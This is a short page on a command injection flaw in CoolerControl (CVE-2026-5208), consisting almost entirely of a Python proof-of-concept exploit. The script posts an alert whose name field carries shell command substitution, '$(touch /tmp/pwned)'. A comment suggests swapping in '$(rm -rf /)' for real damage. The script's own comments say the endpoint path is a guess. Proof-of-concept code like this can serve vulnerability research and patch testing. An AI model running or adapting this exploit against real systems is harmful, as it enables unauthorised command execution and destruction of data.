CVE-2026-5208 CoolerControl命令注入漏洞

import requests # Target API endpoint for creating alerts # Note: Actual endpoint path may vary based on CoolerControl API version target_url = "http://localhost:5000/api/v1/alerts" # Malicious payload using command substitution # This payload creates a file named 'pwned' in /tmp to demonstrate execution # Replace with `$(rm -rf /)` or other malicious commands for actual impact payload_name = "$(touch /tmp/pwned)" # Headers usually include authentication tokens # Exploitation requires High Privileges (PR:H), so a valid admin token is needed headers = { "Content-Type": "application/json", "Authorization": "Bearer <VALID_ADMIN_TOKEN>" } # JSON data for the new alert # The 'name' field is the vulnerable injection point data = { "name": payload_name, "condition": "temp > 80", # Example condition "function": "notify" } try: # Send the POST request to inject the command response = requests.post(target_url, json=data, headers=headers) if response.status_code == 200 or response.status_code == 201: print("[+] Alert created successfully.") print("[+] Check /tmp/pwned on the target host to verify command execution.") else: print(f"[-] Failed to create alert. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] An error occurred: {e}")